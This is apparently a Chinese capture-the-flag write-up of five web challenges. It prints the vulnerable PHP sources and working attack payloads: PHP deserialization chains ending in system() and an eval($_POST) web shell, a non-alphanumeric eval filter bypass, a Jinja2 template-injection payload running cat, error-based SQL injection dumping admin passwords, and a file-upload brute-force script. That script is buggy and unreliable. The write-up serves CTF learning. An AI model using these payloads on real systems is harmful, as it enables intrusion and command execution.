兔年大吉
源码如下
<?phphighlight_file(__FILE__);error_reporting(0);class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } public function __call($name, $arguments) { call_user_func($this->cmd, $this->content); } public function __wakeup() { die("Wishes can be fulfilled"); }}class Nevv{ private $happiness; public function __invoke() { return $this->happiness->check(); }}class Rabbit{ private $aspiration; public function __set($name,$val){ return $this->aspiration->family; }}class Year{ public $key; public $rabbit; public function __construct($key) { $this->key = $key; } public function firecrackers() { return $this->rabbit->wish = "allkill QAQ"; } public function __get($name) { $name = $this->rabbit; $name(); } public function __destruct() { if ($this->key == "happy new year") { $this->firecrackers(); }else{ print("Welcome 2023!!!!!"); } }}if (isset($_GET['pop'])) { $a = unserialize($_GET['pop']);}else { echo "过新年啊~过个吉祥年~";}?>
挺基础的一个反序列化，先找pop链：
Year::destruct -> Year::firecrackers() -> Rabbit::set-> Year::get-> Nevv::invoke -> Happy::call简单写一下代码：
<?phpclass Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; }}class Nevv{ private $happiness; public function __construct($tmp) { $this->happiness = $tmp; }}class Rabbit{ private $aspiration; public function __construct($tmp) { $this->aspiration = $tmp; }}class Year{ public $key = "happy new year"; public $rabbit;}$year = new Year;$year2 = new Year;$rabbit = new rabbit($year2);$year->rabbit = $rabbit;$happy = new Happy("system", "ls");$nevv = new Nevv($happy);$year2->rabbit = $nevv;echo urlencode(serialize($year));?>
直接打就行了
ezbypass
源码如下：
<?phperror_reporting(0);highlight_file(__FILE__);if (isset($_POST['code'])) { $code = $_POST['code']; if (strlen($code) <= 105){ if (is_string($code)) { if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-\"|`~\\\\]/",$code)){ eval($code); } else { echo "Hacked!"; } } else { echo "You need to pass in a string"; } } else { echo "long?"; }}
可以看到该过滤的都过滤了，而且payload长度限制了105，这样我们可以想到利用php的自增特性来构造攻击代码
code=$_=(_/_._);$_=$_[''!=''];$%ff=%2b%2b$_;$%ff=%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.=%2b%2b$_;$%ff.=%2b%2b$_;$_=_.$%ff;$$_[_]($$_[__]);&_=system&__=cat /f*
这里解释一下，(_/_) 的输出为NaN，再拼接一个_就可以名正言顺的成为一个字符串，然后我们就可以取”N”通过++来构造出POST
其实这段payload还可以更短，有兴趣的读者可以自行研究 ，最终我们得到的是$_POST[_]($_POST[__])，这样就可以命令执行了。
ezupload源码如下:
<?php @error_reporting(0); date_default_timezone_set('America/Los_Angeles'); highlight_file(__FILE__); if (isset($_POST['submit'])){ $file_name = trim($_FILES['upload_file']['name']); $black = array(".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); if (!in_array($file_ext, $black)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = 'upload'.'/'.date("His").rand(114,514).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错！'; } }else { $msg = '你传啥玩意？？'; } } if($is_upload){ echo '呀,（传）进去了欸~'; }?>
纸老虎，.php都没限制，就是date加随机数改了个文件名，我们可以在本地搭个一样的来得到文件名，然后往后爆破就能得到上传路径的文件了
这里注意手速一定要快，要不然要多爆破好久，检验代码如下:
import requestsurl = 'http://095468b8-416d-4ea2-9f71-cb0cb7ab617e.ctf.qsnctf.com:8080/upload/'for i in range('本地文件名', '比本地文件名大就行'): urls = url + str(i) + ".php" r = requests.get(url) if r.status_code == 404: continue else: print(q)
得到文件后，就是常规的getshell了。
SSTI
看页面源代码得到参数?SI,试了下{{1}},报违规字符了，说明{{是被限制了，我们利用{%print %}来绕过这个限制，这题很明显在考一系列的限制过滤
把关键的类都限制了，__class__之类的。我们这里利用jinjia2的特性[‘__clas”s__’]来绕过这个限制，后面的我不想测试，所以都写成这个样子，payload如下:
?SI={%print config['__cla''ss__']['__in''it__']['__glo''bals__']['os']['po''pen']('cat /g*').read()%}还是挺简单的
ezphp
开局一个登录界面，加个单引号，直接有报错，很明显报错注入，中途的测试过程我就省略了，直接上最后的payload:
admin'/**/and/**/updatexml(1,(concat(0x7e,(selselectect/**/group_concat(Password)/**/from/**/admin),0x7e)),1)#
账号密码admin:0909876qwe222
我们登录进去，随便输点东西，得到源代码:
<?phpini_set('open_basedir',".");error_reporting(E_ALL^E_NOTICE^E_WARNING);session_start();if($_COOKIE['admin']!=md5('adminyyds')){ header('Location:/index.php'); exit();}echo('WelCome!ADMin!!!
');echo('this is a site test pages for admin! ');if(isset($_POST['url'])){ echo file_get_contents($_POST['url']); show_source(__FILE__);}else{ echo(' url: ');}//x9sd.php?>
可以读文件，下面还给了hint
url=file:///var/www/html/x9sd.php
class a { protected $cmd; function __destruct() { echo $this->cmd; @eval($this->cmd); }}if(isset($_GET['username']) && isset($_GET['unserx'])){ $var = base64_decode($_GET['unserx']); if($_GET['username'] === "admin"){ echo "nonono?"; } $username = urldecode($_GET['username']); if($username === "admin"){ unserialize($var); } unserialize($var); echo("success");}else{ echo "I need some ???";}
有是一个反序列化，这个直接就是a了，都不用找链：
<?phpclass a { protected $cmd; function __construct($tmp) { $this->cmd = $tmp; }}if(isset($_GET['username']) && isset($_GET['unserx'])){ $var = base64_decode($_GET['unserx']); if($_GET['username'] === "admin"){ echo "nonono?"; } $username = urldecode($_GET['username']); if($username === "admin"){ unserialize($var); } unserialize($var); echo("success");}else{ echo "I need some ???";}$a = new a('eval($_POST[1]);');echo base64_encode(serialize($a));?>
这样就getshell了
总结
web题不错，适合我这种新手做，这里抨击下ezmisc出题人，以后别这么出了。